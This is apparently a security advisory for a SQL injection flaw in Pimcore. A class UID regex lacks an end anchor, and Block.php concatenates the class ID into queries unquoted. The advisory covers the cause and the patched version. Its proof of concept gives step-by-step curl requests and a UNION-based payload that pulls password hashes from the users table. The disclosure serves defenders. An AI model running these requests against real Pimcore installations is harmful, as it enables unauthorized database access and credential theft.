CVE-2026-55072: Pimcore ClassDefinition UID Regex Missing End Anchor Allows SQL Injection
A missing end-anchor in Pimcore's class UID validation regex lets a low-privileged editor sneak SQL into a class ID, which then executes unquoted inside Block.php when any object of that class is…

The problem
Pimcore's ClassDefinition save path validates the class UID with preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', $id). The missing trailing $ means the regex only checks that the string starts with a valid character; everything after that first match is ignored.
An attacker with only the standard objects permission can create a class whose UID contains a UNION-based SQL fragment. Later, when any data object of that class is loaded, Block.php concatenates the raw class ID directly into a query string ('object_store_' . $object->getClassId()) with no quoting, executing the injected SQL.
The result: full read access to the Pimcore database, including password hashes in the users table.
Proof of concept
A working proof-of-concept for CVE-2026-55072 in pimcore/pimcore, with the exact payload below.
# Step 1 - authenticate
curl -s -c /tmp/cookies.txt -X POST \
'https://your-pimcore/pimcore-studio/api/login' \
-H 'Content-Type: application/json' \
-d '{"username":"lowpriv","password":"password"}'
# Step 2 - create class with malicious UID (passes broken regex, blocked by patched regex)
curl -s -b /tmp/cookies.txt -X POST \
'https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create' \
-H 'Content-Type: application/json' \
-d '{"name":"PocClass","uid":"1 UNION SELECT password,NULL FROM users-- "}'
# Step 3 - create a data object of the malicious class, note returned id (e.g. 42)
curl -s -b /tmp/cookies.txt -X POST \
'https://your-pimcore/pimcore-studio/api/data-objects' \
-H 'Content-Type: application/json' \
-d '{"className":"PocClass","parentId":1,"key":"poc-object"}'
# Step 4 - fetch the object; Block.php:735 executes the injected query
curl -s -b /tmp/cookies.txt \
'https://your-pimcore/pimcore-studio/api/data-objects/42'
# SQL that Block.php assembles and executes on the vulnerable version:
# SELECT `myblock` FROM object_store_1 UNION SELECT password,NULL FROM users-- WHERE oo_id = 42
# The -- discards the WHERE clause; UNION appends rows from `users`.
# Response body contains password hashes in the myblock field value.Root cause is a regex anchoring bug (CWE-20). preg_match('/^[a-zA-Z0-9]([a-zA-Z0-9_]+)?/', '1 UNION SELECT password FROM users-- ') returns 1 because the engine matches 1 at position 0 and stops; without $, the trailing SQL is never checked. A correct pattern, as already used by Fieldcollection/Definition.php, includes $ and would return 0 for the same input.
The second root cause is unquoted table name construction (CWE-89). Block.php builds the query as 'object_store_' . $object->getClassId() with no quoteIdentifier() call, whereas ClassDefinition/Dao.php does wrap the same value. The patch adds $ anchors to both regexes in ClassDefinition.php and wraps all six getClassId() concatenations in Block.php with quoteIdentifier(), matching the existing pattern in Dao.php.
The fix
Upgrade to pimcore/pimcore 2026.1.5 (patch commit 33a0e1887e1e31b4283b016ac5440c35ea5697b4). The fix adds trailing $ anchors to both UID validation regexes in models/DataObject/ClassDefinition.php and wraps every $object->getClassId() table-name concatenation in $db->quoteIdentifier() across models/DataObject/ClassDefinition/Data/Block.php lines 735, 744, 746, 748, 759, and 771.
No workaround is available; upgrade is required.
Reported by kingjia90.
Related research
- critical · 9.4CVE-2026-63221CVE-2026-63221: CodeIgniter4 Query Builder SQL Injection via deleteBatch() and where()
- highCVE-2026-47142CVE-2026-47142: MantisBT SQL Injection via history_order Configuration Value
- critical · 9.9CVE-2026-45262CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn
- high · 7.5CVE-2026-52770CVE-2026-52770: YesWiki Bazar API Unauthenticated Boolean-Based SQL Injection